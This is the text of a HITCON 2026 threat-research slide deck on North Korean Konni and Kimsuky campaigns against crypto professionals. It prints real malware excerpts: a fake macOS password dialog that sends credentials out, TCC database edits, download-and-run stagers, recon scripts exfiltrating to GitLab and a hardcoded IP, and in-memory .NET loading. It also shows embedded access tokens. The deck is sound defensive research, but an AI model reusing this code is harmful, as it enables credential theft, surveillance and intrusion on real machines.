HITCON 2026 Slide- Not Just Spies Anymore: DPRK's Espionage Actors Are Coming for Your Crypto
Explore how North Korean APT groups Konni and Kimsuky shift from espionage to crypto theft using AI-assisted macOS malware, fake trading platforms, and sophisticated infection chains.
HITCON 2026 Slide- Not Just Spies Anymore: DPRK's Espionage Actors Are Coming for Your Crypto
1.
Not Just SpiesAnymore:
DPRK's Espionage Actors Are
Coming for Your Crypto
Konni and Kimsuky have shifted from espionage to global cryptocurrency.
Seongsu Park, Zscaler APT Research, HITCON 2026
2.
whoami
Seongsu Park
• StaffThreat Researcher, Zscaler APT Research
• Formerly Kaspersky Global Research and Analysis Team(GReAT)
• Threat intelligence, Malware research, AI-addicted
• Tracking nation-state APT campaigns, with a primary focus on DPRK threat actors, for more than a decade.
3.
Agenda
1
The DPRK "TwoTracks" and Why They're Blurring
Spy teams and money-stealing teams are merging.
2
Konni Goes Global
Fake macOS popups, TCC abuse, and AI-assisted malware targeting Macs.
3
Kimsuky's TokenPhantom
A fake trading platform used to lure victims and deploy Xeno RAT.
4
Cross-Cutting Themes
AI-assisted attacks, financial pivots, and macOS as a growing target.
5
Takeaways
Lesson learns from the latest campaigns
4.
The Thesis: WhyNow?
North Korea's hackers once operated in three separate lanes.
Cyber Espionage
Diamond Sleet, Kimsuky, Konni —
targeting governments and
defense orgs.
Surveillance
Kimsuky, ScarCruft, Konni —
tracking dissidents, political
targets, and defectors.
Financial Theft
APT38, Jade Sleet, Famous Chollima — stealing crypto at scale.
What's changing: Sanctions are squeezing the economy. Espionage-focused
groups are now chasing money too — expanding from the Korean peninsula to
the global crypto industry. Konni and Kimsuky show this clearly.
5.
SECTION 1 OF2
Konni: Who They Were
Konni spent over a decade as a Windows-focused espionage
group, targeting South Korean government, diplomats, and policy
researchers, occasionally hit retail crypto investors in South Korea
Their tools include LNK droppers, batch scripts, VBS loaders,
AutoIt implants, were all built for Windows.
Their lure file names reveal their focus:
• 12 things Trump should know about North Korea.doc
• Can a Russia-China Axis Help the Korean Peninsula.scr
• A paper on the DPRK RCS CAS Process.doc
6.
The Shift WeObserved
Timeline
Starting late 2025, Konni launched its
first-ever macOS-targeting campaign.
Target Profile
Lures targeted crypto industry
professionals — OTC trades, token
transfers, Web3 payment docs.
Initial Infection Vectors
Documents disguised as AppleScript
bundles:
• Stable1 Investment Proposal
(Draft).pptx.scpt
• AM Management_OTC Collaboration
Proposal.docx.scpt
• Circulating_Supply_Lockup_Schedule.xls
x.scpt
Early Misattribution: Initially attributed to APT38 due to similar AppleScript malware and crypto-themed decoys.
7.
Konni macOS InfectionChain at a Glance
A full 8-stage chain combining compiled AppleScript, JavaScript loaders, a bundled Node.js runtime, and two final-stage implants.
1
Stage 1
Compiled AppleScript
lure
2
Stage 2
AppleScript: Fake
system dialog + TCC
abuse
3
Stage 3
Bash stager
4
Stage 4
Javascript: Recon+C2
check-in
5
Stage 5
Persistence via
LaunchAgent
6
Stage 6
Log upload + payload
fetch
7
Stage 7
FileRATClient:
AI-generated JS RAT
8
EggShell
Objective-C Mach-O
implant
8.
Stage 1: TheCompiled AppleScript Lure
Initial Attribution Signal
Lure themes mimicked APT38 crypto targeting — a reminder
to cross-reference infrastructure, not just themes.
Masquerade Technique
Files appear as .docx/.pptx but are compiled AppleScript
(.scpt) bundles — double-clicking executes the script.
Fake UI Prompt
Victim sees a fake "compatibility issue" dialog prompting ⌘+R
to run a "Compatibility Wizard." No exploit needed.
Under the Hood
Real payload is buried 1,000+ lines in. It runs:
Results are sent via curl to the next-stage server, encoded in the URL.
set cpu_type to do shell script "uname -m"
set verString to do shell script "sw_vers -productVersion"
set langs to do shell script "defaults read -g AppleLanguages"
set AppleScript's text item delimiters to {"(", """, "-", ","}
set langCode to text item 3 of langs
set ptSelf to POSIX path of (path to me)
set savePath to do shell script "dirname " & quoted form of ptSelf
set saveFile to savePath & "/" & ".ex.scpt"
set ur to "https://[c2 domain]/compatibility/down.php?u=0&tm=10amotcp15&ver="
& verString & "&type=" & cpu_type & "&langC=" & langCode
do shell script "curl -sLk -o " & quoted form of saveFile & " " & quoted form
of ur
delay 0.2
9.
Stage 2: ThePixel-Perfect Fake System Dialog
The ASObjC Bridge
Instead of AppleScript's obvious display dialog, the malware
uses the ASObjC bridge to spawn a real NSWindow —
indistinguishable from a genuine macOS dialog.
What the Dialog Shows
• Real macOS system icon pulled from a remote server
• Title: "Software Update"
• Body: "System Settings wants to make changes. Enter your
password."
• Username pre-filled via whoami to build trust
• Password field masked — just like the real prompt
Stealing and Validating the Password
• On "OK", the password is base64-encoded and exfiltrated
• Validated locally with dscl /Search -authonly.
• If wrong, the window shakes and prompts again.
on okClicked:sender
set v1 to userId's stringValue() as text
set v2 to pwdInput's stringValue() as text
set v1_b64 to base64encode(v1)
set v2_b64 to base64encode(v2)
try
set ur to "https://[c2 domain]/compatibility/down.php?u=x&ac=" & v1_b64 &
"&qd=" & v2_b64
do shell script "nohup curl -Lk " & quoted form of ur & " >/dev/null 2>&1
&"
do shell script "dscl /Search -authonly " & quoted form of v1 & " " &
quoted form of v2
myWindow's orderOut:me
set startProgress to true
on error errMsg
shakeWindow()
pwdInput's selectText:me
end try
end okClicked:
10.
Stage 2 Continued:TCC Database Manipulation
No Password Needed
Directly edits the macOS TCC database
1. Rename TCC directory to hide it from tccd
2. Kill tccd so it can't protect the DB
3. Run INSERT OR REPLACE SQL directly into
TCC.db
4. Restore directory name to cover tracks
The Trick
Sets auth_value = 2 (ALLOWED) and
auth_reason = 4 ("User Set")
Permissions Granted
• Screen Recording & Camera, Keystroke
Monitoring, Accessibility & Apple Events, Full
Disk & File Access
• Granted to: Terminal, bash, osascript, Finder,
and more.
repeat with perm in permList
set query to ""
if target is not missing value and target is not "" then
set csreq_target to getCSReq(target)
if csreq_target is not "" then
set target_bundleid to tcid of permInfo
set query to "INSERT OR REPLACE INTO access (service, client, client_type, auth_value,
auth_reason, auth_version, csreq, indirect_object_identifier, indirect_object_code_identity) " & "VALUES ('" &
perm & "', '" & clientQ & "', " & (cl_type as string) & ", 2, 4, 1, X'" & csreq & "', '" & target_bundleid &
"', X'" & csreq_target & "');"
else
--log "Failed to get CSReq of target : " & target
end if
..
set permList to {}
set pmAuto to "kTCCServiceAppleEvents"
set end of permList to "kTCCServiceSystemPolicyDownloadsFolder"
set end of permList to "kTCCServiceSystemPolicyDocumentsFolder"
set end of permList to "kTCCServiceSystemPolicyDesktopFolder"
set end of permList to "kTCCServiceSystemPolicyRemovableVolumes"
set end of permList to "kTCCServiceCamera"
set end of permList to "kTCCServiceScreenCapture"
set end of permList to "kTCCServiceListenEvent"
set end of permList to "kTCCServiceAccessibility"
11.
Stage 3: BashStager
Detects CPU architecture and downloads the matching
Node.js standalone binary, then fetches and launches the
malicious index.js.
• Checks uname -m — arm64 vs x86 → different download URL
• Downloads Node.js bundle → unpacks to ~/.nodes
• Fetches index.js from C2, base64-decodes it
• Launches Node.js with the malicious script
#!/bin/bash
D_URTT="https://[C2 domain]/css/controller.php?req="
T_DIR="$HOME/.nodes"
S_F="$T_DIR/index.js"
Z_F="$HOME/.nodes.zip"
N_BIN="$T_DIR/bin/node"
# Cleanup Previous Archive
rm -f "$Z_F"
# Architecture Detection & URL Selection
if [ "$(uname -m)" = "arm64" ]; then
D_UR="${D_URTT}instd"
else
D_UR="${D_URTT}tell"
fi
# Stage 1: Download & Extract Node.js Bundle
curl -sLk "$D_UR" | base64 -D > "$Z_F"
rm -rf "$T_DIR"
mkdir -p "$T_DIR"
unzip -o "$Z_F" -d "$T_DIR"
cd "$T_DIR"
# Stage 2: Download JavaScript Payload
D_UR="${D_URTT}skip"
TMP_D=$(mktemp)
curl -sLk "$D_UR" -o "$TMP_D"
base64 -D -i "$TMP_D" -o "$S_F"
rm -f "$TMP_D"
# Execute Payload
chmod +x "$N_BIN"
"$N_BIN" "$S_F"
12.
Stage 4: ReconScript
Builds a full victim profile and exfiltrates it to C2 —
then eval()s the server's response as live code.
• Collects OS, CPU, memory, disk, network, and
process info
• Cross-platform: Linux, macOS, Windows
supported
• POSTs JSON to C2 script
• Response is base64-decoded and executed via
eval()
let postBody = {Platform:os.platform()};
let osInfo = ["uname -a", "sw_vers", "wmic os get Caption, Version, BuildNumber"];
let cpuInfo = ["lscpu", "sysctl -a | grep cpu", "wmic cpu get Name, NumberOfCores,
NumberOfLogicalProcessors"];
let memInfo = ["free -h", "top -l 1 | grep PhysMem", "wmic OS get
FreePhysicalMemory,TotalVisibleMemorySize"];
let diskUsage = ["df -h", "df -h", "wmic logicaldisk get DeviceID, Size, FreeSpace"];
let networkInfo = ["ifconfig", "ifconfig", "ipconfig"];
let proc = ["ps aux", "ps aux", "tasklist"];
uid = pf_list[os.platform()];
postBody.OS = await runCommand(osInfo[uid]);
postBody.CPU = await runCommand(cpuInfo[uid]);
postBody.Memory = await runCommand(memInfo[uid]);
postBody.Disk = await runCommand(diskUsage[uid]);
postBody.Network = await runCommand(networkInfo[uid]);
postBody.Process = await runCommand(proc[uid]);
const response = await fetch(`https://[c2 domain]/node/handler.php?u=${uid}`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify(postBody)
});
const data = Buffer.from(Buffer.from(await response.arrayBuffer()).toString('utf8'),
'base64').toString('utf8');
eval(data);
Stage 6: LogUpload &
Final Payload
Exfiltrates staging logs to C2, then downloads and launches
the FileRATClient backdoor.
• Reads output.log and error.log, base64-encodes and
sends to C2
• Deletes uploaded log files after sending
• Receives base64-encoded response → saves as
addon.js
• Spawns addon.js as a detached child process
• Loops every 10 minutes via setTimeout
const {fetch} = await import("zx");
const scriptPath = `${__dirname}/addon.js`;
const upload_files = [`${__dirname}/output.log`,
`${__dirname}/error.log`];
async function work() {
new_down = false;
await Promise.all([
UploadFiles(`https://[c2 domain]/inc/register.php?req=follow`,
upload_files, scriptPath),
]);
if( new_down ) {
const { spawn } = require("child_process");
const child = spawn(process.execPath, [scriptPath], { windowsHide:
true, detached: true, stdio: "ignore", shell: true});
child.unref();
}
setTimeout(work, 600000);
}
work();
15.
The Payload: FileRATClient
Scaleand Architecture
Cross-platform, modular, WebSocket-driven — 4,100 to
8,000+ lines of backdoor code.
AI Development Signal
Consistent formatting, detailed comments, and
emoji-filled debug logs point to AI-assisted authorship.
Backdoor Capabilities
FileRATClient operates as a full remote access trojan with
separate channels per function.
class FileRATClient {
constructor(serverUrl = 'ws://localhost:80') {
this.serverUrl = serverUrl;
this.ws = null;
this.fileTransferWs = null; // Dedicated connection for file transfers
this.clientId = this.generateClientId();
clearInterval(this.heartbeatInterval);
this.heartbeatInterval = null;
logger.info('💔 Heartbeat mechanism stopped');
}
...
// Phase 3: Long-term survival (30 minutes) - for extended outages
interval = 5 * 60 * 1000 + jitter; // 30 minutes
logger.info(`🔄 [Phase 3] Long-term reconnection in ${(interval / 1000 /
60).toFixed(1)} minutes... (attempt ${this.reconnectAttempts}/100)`);
...
// Start the client
logger.info(`🚀 FileRAT Client started - ${os.hostname()}
(${os.platform()})`);
16.
FileRATClient: Full CapabilityMatrix
Live Screen Capture
Streams the victim's screen to the attacker in real time.
Keylogging
Captures all keystrokes into remotely accessible log files.
Webcam Access
Takes photos or streams live video on demand.
Full File-System Access
Browse, read, write, and exfiltrate files remotely.
Chrome DevTools Hijacking
Takes over the browser — navigate pages, inject input, and watch sessions
live.
SOCKS5 Proxy via SSH Tunnel
Turns the victim's machine into a network relay to hide attacker traffic.
Self-Destruct
Wipes scripts, logs, and modules on command to hinder forensics.
Remote Command Execution
Full shell and process control over the victim's machine.
17.
A Second Implant:The Objective-C EggShell Variant
From the Same Infrastructure
This compiled Objective-C Mach-O binary shares C2
infrastructure with FileRATClient, adding audio and camera
capture.
Surveillance Capabilities
• Clipboard monitor
• Screenshots via AVFoundation
• Keylogger via CGEventTap
• Microphone recording
• Camera capture on demand
Each capability toggled individually via C2 commands.
Anti-Analysis Measures
• Single-instance lock via /private/tmp/.LOCK
• PT_DENY_ATTACH blocks debugger attachment
• Rotating C2 server list for resilience
Persistence & Lineage
Installs as a com.apple.AppStore LaunchAgent. SentinelOne
links EggShell to a North Korea-aligned APT (XcodeSpy lineage).
Command Set
Shell, screenshot, keylog, audio, camera, file ops, C2 rotation.
18.
Victimology: No LongerKorea-Only
A Global Operation
Confirmed victims extend well beyond Korea:
United States
Crypto/digital asset
custody firm
United Kingdom
Finance-linked professional
services firm
Korea remains a target
Occasionally, deployed Korean Compiled AppleScript
19.
Attribution: Tying Itto Konni
Multiple independent sources point to the same conclusion: this is a Konni operation.
Infrastructure & Staging Patterns
C2 servers, URL structures, and multi-stage delivery all match
confirmed Konni Windows operations.
The Smoking Gun: Dual-Extension ZIP
A single ZIP contained both a LNK and an AppleScript
● Stable1 Investment Proposal (Draft) (EN).pptx.scpt
● Stable1 Investment Proposal (Draft) (EN).pdf.lnk - Old
Konni malware!
Different from APT38/Cybercrime
Despite a similar crypto-lure theme, the infection chain differs
from APT38. Similar with infection with macOS targeting
cybercrime.
Independent Corroboration: ESET
ESET independently confirmed the same September 2025
campaign — AppleScript lure → credential theft → EggShell
implant.
20.
SECTION 2 OF2
Kimsuky's Turn: TokenPhantom
In early 2026, a Kimsuky-linked group built a fake
cryptocurrency trading platform named "Tralert FX"
It featured a polished website, social media presence, and a
trojanized desktop app distributed via direct download and the
official Microsoft Store.
State-linked group running a for-profit crypto scam behind a
convincing fake brand.
21.
The Lure: AFake Platform with Real Reach
Full Brand Build-Out
• Tralert FX was a complete fake brand
• Promoted across LinkedIn, Facebook, Instagram, and
Reddit, spam-posting in crypto forums to drive traffic
Two Ways to Get Infected
• Direct download — MSI installer signed by shell company
"AgilusTech LLC" with a real EV certificate
• Microsoft Store — published as a verified app, appearing fully
legitimate
22.
Website Visitor Tracking
VisitorTracking Before the Malware Ran
The site profiled every visitor on arrival:
• Browser fingerprint and user-agent
• IP geolocation
• Persistent tracking cookie
• Download event logging
Data was sent to a C2 server and an
attacker-controlled GitLab repo via a hardcoded
token
// Send visit data to backend
await fetch(`${BACKEND_URL}/api/visit`, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: username,
timestamp: timestamp,
systemInfo: systemInfo,
browserInfo: browserInfo,
ip: ip,
cookie: document.cookie,
cookieId: cookieId,
country: country,
isUSA: isUSA
})
})
// GitLab upload function - converts test.ps1/test.js functionality to
browser JavaScript
async function uploadToGitLab(userInfo, whichButton) {
try {
// Format log content: system, ip, timestamp (matching PowerShell
script format)
const timestamp = new Date().toISOString()
.replace(/T/, '_')
.replace(/..+/, '')
.replace(/:/g, '-');
const SystemInfoJson = await getSystemInfo();
const BrowserInfoJson = await getBrowserInfo();
// Extract system info
const systemInfo = SystemInfoJson.os + ' ' +
SystemInfoJson.architecture + ' ' + SystemInfoJson.bitness;
const browserInfo = BrowserInfoJson.browser + ' ' +
BrowserInfoJson.version;
// Client-side JavaScript cannot get real IP, will show 'unknown'
const ip = localStorage.MyIp;
const logContent = `${timestamp}, ${systemInfo}, ${browserInfo},
${ip}`;
// GitLab configuration
const projectPath = "ekek2-group/ekek2-log-project";
const token =
"glpat-PW4Bc_bnugNaMzPTxJYqPG86MQp1Omlma3UxCw.01.121ue0rjl";
const ref = "main";
23.
Kimsuky Infection ChainOverview
Persistence
Scheduled tasks
ensure continued
presence on the
system.
Execution
Reconnaissance
is performed and
the final loader is
executed.
Initial
Access
Electron app and
PowerShell stager
for entry.
Payload
Delivery
GitLab
downloaders
fetch additional
tools and
payloads.
Heavy Obfuscation
ROT ciphers, fragmented strings, and fake code blocks used to
defeat static analysis tools.
GitLab C2 Backbone
Command-and-control traffic blends into normal developer
activity, evading network detection.
Fileless Persistence
A scheduled task polls GitLab for new payloads — no binary ever
written to disk.
Xeno RAT Payload
Final stage delivers a remote access trojan for full command
execution on the victim host.
24.
// MSI version(default)
const _0xu6v7_msi = 'spapapa123-group/spapapa123-project';
const _0xw8y9_msi = 'gz';
const _0xz0a1_msi =
'glpat-0rl_iwuAWEypbJWVYf1Y2W86MQp1OmozNWF3Cw.01.120lhhywn';
// APPX/Store version
const _0xu6v7_appx = 'wkekek2-group/wkekek2-project';
const _0xw8y9_appx = 'gz';
const _0xz0a1_appx =
'glpat-1rSUz3qvjqSE0FrFO053-W86MQp1Omh3YWpiCw.01.1201bj8oc';
// Set values based on build target
const _0xu6v7 = isAppxBuild ? _0xu6v7_appx : _0xu6v7_msi;
const _0xw8y9 = isAppxBuild ? _0xw8y9_appx : _0xw8y9_msi;
const _0xz0a1 = isAppxBuild ? _0xz0a1_appx : _0xz0a1_msi;
Electron Trojan + PowerShell Staging
Malicious Logic in app.asar
Malicious JavaScript hides in components/clientlog.js inside
app.asar. Payload triggers on app close — not launch — to evade
sandbox detection.
GitLab PATs as Infrastructure
GitLab/GitHub tokens are embedded throughout the chain —
used to pull staged scripts and push stolen recon data back to
attacker repos, giving rare visibility into their infrastructure.
25.
s1: Victim Reconnaissance
FullHost Profile
The s1 script builds a detailed victim profile before executing:
MAC address and external IP
Hostname and username
OS version and build
CPU model and core count
RAM (total and available)
Running processes
AV product enumeration
# --- Build report ---
$sb = [System.Text.StringBuilder]::new()
[void]$sb.AppendLine('=== COMPUTER INFORMATION ===')
[void]$sb.AppendLine(('Generated: {0}' -f (Get-Date).ToUniversalTime()))
[void]$sb.AppendLine(('MAC Address: {0}' -f $mac))
[void]$sb.AppendLine(('IP Address: {0}' -f $ip))
[void]$sb.AppendLine(('Computer Name: {0}' -f $env:COMPUTERNAME))
[void]$sb.AppendLine(('User: {0}' -f $env:USERNAME))
[void]$sb.AppendLine(('Operating System: {0}' -f $os.Caption))
[void]$sb.AppendLine(('OS Version: {0}' -f $os.Version))
[void]$sb.AppendLine()
[void]$sb.AppendLine('=== HARDWARE SPECIFICATIONS ===')
[void]$sb.AppendLine(('CPU: {0}' -f $processor.Name))
[void]$sb.AppendLine(('CPU Cores: {0}' -f $processor.NumberOfCores))
[void]$sb.AppendLine(('CPU Threads: {0}' -f $processor.NumberOfLogicalProcessors))
[void]$sb.AppendLine(('Total RAM: {0} GB' -f $totalRamGB))
[void]$sb.AppendLine($ramDetailsLine)
[void]$sb.AppendLine()
[void]$sb.AppendLine('=== INPUT METHOD / IME ===')
[void]$sb.AppendLine(($imeLines -join $sep))
[void]$sb.AppendLine()
[void]$sb.AppendLine('=== INSTALLED ANTIVIRUS SOFTWARE ===')
[void]$sb.AppendLine(($avLines -join $sep))
[void]$sb.AppendLine()
[void]$sb.AppendLine('=== PROCESS SUMMARY ===')
[void]$sb.AppendLine(('Total Running Processes: {0}' -f @($processes).Count))
[void]$sb.AppendLine(('Total Memory Usage: {0} MB' -f $totalWorkingSetMB))
$grouped = $processes | Group-Object {
if ($_.Path) { Split-Path $_.Path -Leaf } else { $_.ProcessName }
} | Sort-Object Name
foreach ($g in $grouped) {
[void]$sb.AppendLine(('{0} ({1})' -f $g.Name, $g.Count))
}
[void]$sb.AppendLine()
[void]$sb.AppendLine('=== RUNNING PROCESSES (Detailed) ===')
[void]$sb.AppendLine(($processes | Format-Table -AutoSize | Out-String).TrimEnd())
26.
s1: Victim Reconnaissance
Dual-ChannelExfiltration
The profile is sent over two simultaneous channels:
GitLab Commit
Stored in the attacker's log repo — searchable and indexed.
C2 HTTP POST
POSTed live to the C2 server for immediate review.
Redundancy ensures delivery if one channel fails. The GitLab copy
acts as a victim database — giving us direct operational insight.
$projectPath = "ekek2-group/ekek2-log-project";
$token = "glpat-PW4Bc_bnugNaMzPTxJYqPG86MQp1Omlma3UxCw.01.121ue0rjl";
$ref = "main";
$checkUrl =
"https://gitlab.com/api/v4/projects/$([System.Web.HttpUtility]::UrlEncode($projectPath))";
$checkHeaders = @{ 'PRIVATE-TOKEN' = $token };
$encodedProjectPath = [System.Web.HttpUtility]::UrlEncode($projectPath);
$encodedFilePath = [System.Web.HttpUtility]::UrlEncode("logs/$fileName");
$url =
"https://gitlab.com/api/v4/projects/$encodedProjectPath/repository/files/$encodedFilePath";
$body = @{
branch = $ref;
content = $logContent;
commit_message = "Process log upload - $timestamp";
encoding = "text";
} | ConvertTo-Json;
$backupServerUrl = "http://161.97.113.34:3001";
$backupBody = @{
title = "System Log - $timestamp";
content = $logContent;
} | ConvertTo-Json;
try {
$backupResponse = Invoke-RestMethod -Uri "$backupServerUrl/api/textcontent" `
-Method Post `
-ContentType "application/json" `
-Body $backupBody;
} catch {
}
27.
s2: Target Gating
IP/MACAllowlist Gating
The payload only runs if the victim's IP or MAC is on a
hardcoded allowlist. Non-matching machines are flagged for
later. This gate:
Blocks automated sandboxes — they rarely share IPs
with real targets
Limits exposure and reduces discoverability
Sorts victims into immediate vs. deferred targets
$AllowedIPs = @("192.168.121.1",
"192.168.124.57",
"192.168.121.128",
..
"192.168.31.208",
"192.168.124.53");
$AllowedMACs = @("EA-E6-A6-A8-CD-0C",
"28-2E-89-A5-26-EE",
"00-45-E2-AC-70-8F",
..
"F4-6D-3F-C7-21-CB",
"30-03-C8-0B-5C-D5"
);
$useGate = -not $SkipAllowlist -and ($AllowedIPs.Count -gt 0 -or
$AllowedMACs.Count -gt 0)
$allowed = $false
if (-not $useGate) {
$allowed = $true
}
else {
$ipMatch = $AllowedIPs.Count -gt 0 -and ($id.IPAddress -in $AllowedIPs)
$macMatch = $AllowedMACs.Count -gt 0 -and ($id.MacAddress -in $AllowedMACs)
$allowed = $ipMatch -or $macMatch
}
28.
s2: Reflective .NETLoad
Reflective In-Memory .NET Loading
Once through the gate, the payload runs entirely in memory:
Downloads a GZIP blob from GitLab with a corrupted
RTF-like header to evade file-type detection
Fixes the correct 1F 8B 08 00 00 00 00 00 header in
memory
Decompresses and executes via Assembly.Load() —
nothing touches disk
If reflective loading fails, a fallback writes to %TEMP%Simular_.exe.
# Download remote payload bytes
try {
[byte[]] $downloadedBytes = (Invoke-WebRequest -Uri $fileUrl -Headers $headers
-UseBasicParsing).Content
} catch {
exit 1
}
# Validate payload length (needs at least 8 bytes for header rewrite)
if ($downloadedBytes -eq $null -or $downloadedBytes.Length -lt 8) {
exit 1
}
# Restore GZIP header bytes
$downloadedBytes[0] = 0x1F
$downloadedBytes[1] = 0x8B
$downloadedBytes[2] = 0x08
$downloadedBytes[3] = 0x00
$downloadedBytes[4] = 0x00
$downloadedBytes[5] = 0x00
$downloadedBytes[6] = 0x00
$downloadedBytes[7] = 0x00
function Expand-GzipBytes {
param (
[Parameter(Mandatory = $true)]
[byte[]] $compressedBytes
)
$inputStream = New-Object System.IO.MemoryStream(, $compressedBytes)
$outputStream = New-Object System.IO.MemoryStream
$gzipStream = New-Object System.IO.Compression.GzipStream $inputStream,
([IO.Compression.CompressionMode]::Decompress)
$gzipStream.CopyTo($outputStream)
$gzipStream.Close()
$inputStream.Close()
Fetched payload:
29.
The Payload: CustomizedXeno RAT
Open-Source RAT, Nation-State Customization
The final payload is a modified Xeno RAT — a public .NET
remote access trojan recompiled with custom changes and
pointed at DPRK-controlled C2 servers.
Using open-source malware speeds up development,
complicates attribution, and reduces cost — a tactic DPRK
operators have adopted broadly.
DPRK Lineage
This build belongs to the MoonPeak/Xeno RAT toolset, the
same family tied to UAT-5394 / Kimsuky. Specific GUID and
mutex values confirm the link.
30.
--------- [2026/01/24 20:55:35][xeno rat server - File manager.cs - Microsoft Visual Studio (Administrator)] ---------
--------- [2026/01/25 07:11:52] [POSTGRESQL-SETUP.md - Tralert - Cursor [Administrator]] ---------
--------- [2026/01/25 07:22:57] [reg.ps1 - 2.key_logger - Cursor [Administrator]]
Operator OPSEC Failures
The operators keylogged their own machines then pushed that output to their own GitLab repos.
Actively Editing Xeno RAT
Caught in Visual Studio — still building the tool
mid-operation
AI-Assisted Attack Dev
Used Cursor AI to write PowerShell directly on the operator
machine
Plaintext Passwords Exposed
Plaintext passwords on clipboard — captured by their
own keylogger
Google Searches
Searches: "MetaMask," "hardware wallets," "how can I
know windows password with powershell"
--------- [2026/01/24 20:39:40] [meta mask chrome extension - Google Search - Google Chrome] ---------
--------- [2026/01/24 21:01:24] [how can I know windows password with powershell - Google Search - Google Chrome] ---------
--------- [2026/01/25 07:17:14] [ledger windows app install - Google Search - Google Chrome] ---------
--------- [2026/01/25 08:56:31] [powershell copy file - Google Search - Google Chrome] ---------
--------- [2026/01/25 09:35:15] [how can i copy all data from bluestack in windows? - Google Search - Google Chrome] ---------
Attribution: Tying Itto Kimsuky
This campaign is attributed to Kimsuky (VELVET CHOLLIMA, sub-cluster UAT-5394)
Matching RAT Identifiers
Unique ID
12DE1212-167D-45BA-1284-780DA98C
F901 and mutex Dansweit_Hk65
directly match Kimsuky malware
documented by Enki.
Known Kimsuky Technique
Corrupted GZIP header used to load
malware into memory from a private
GitLab repo — a signature technique
documented by Cisco Talos in their
MoonPeak / UAT-5394 research.
Third-Party Confirmation
Hybrid Analysis independently
linked the same Tralert FX
infrastructure to VELVET CHOLLIMA,
giving us three converging sources.
33.
Three Cross-Cutting Themes
EspionageGroups Are Now
Stealing Crypto
Konni and Kimsuky have both launched
crypto-theft operations to evade
sanctions. Expect more DPRK groups to
follow.
AI Is Writing Malware
Konni's 8,000-line FileRATClient and
Kimsuky's Cursor-assisted PowerShell
scripts show AI accelerating real attack
tool development. More campaigns,
faster.
macOS and Crypto Workers
Are Targets
Native Mac implants, fake system
dialogs, and TCC abuse now target the
crypto industry's Mac-heavy workforce.
34.
DPRK Threat ActorLandscape
Financial theft is no longer a side mission — it's the primary objective for most DPRK-linked actors.
Threat Actor Financial Profits Surveillance Cyber Espionage
Kimsuky/Emerald Sleet ✓ ✓ ✓
Konni/Opal Sleet ✓ ✓ ✓
Andariel/Onyx Sleet ✓
ScarCruft/Ruby Sleet ✓
BlueNoroff/Sapphire Sleet ✓
Lazarus/Citrine Sleet ✓
Lazarus/Diamond Sleet ✓
Lazarus/Moonstone Sleet ✓
Contagious Interview/Coral
Sleet/IT Worker
✓
35.
Takeaways
DPRK Spy GroupsAre Now Chasing Crypto
Konni and Kimsuky are stealing money, not just secrets. Any
DPRK-linked group is a potential crypto threat.
The Tradecraft Is Advanced and Getting Faster
Fake macOS dialogs, TCC database manipulation, in-memory
loading, and AI-assisted development — capability is
improving quickly.
If You're in Crypto, You're a Target
250+ victims across 28 countries, If your work touches
crypto, you're in scope.
These Attacks Can Be Detected
LaunchAgents, TCC edits, and GitLab PAT theft leave
detectable traces. IOCs and detection rules exist — use them.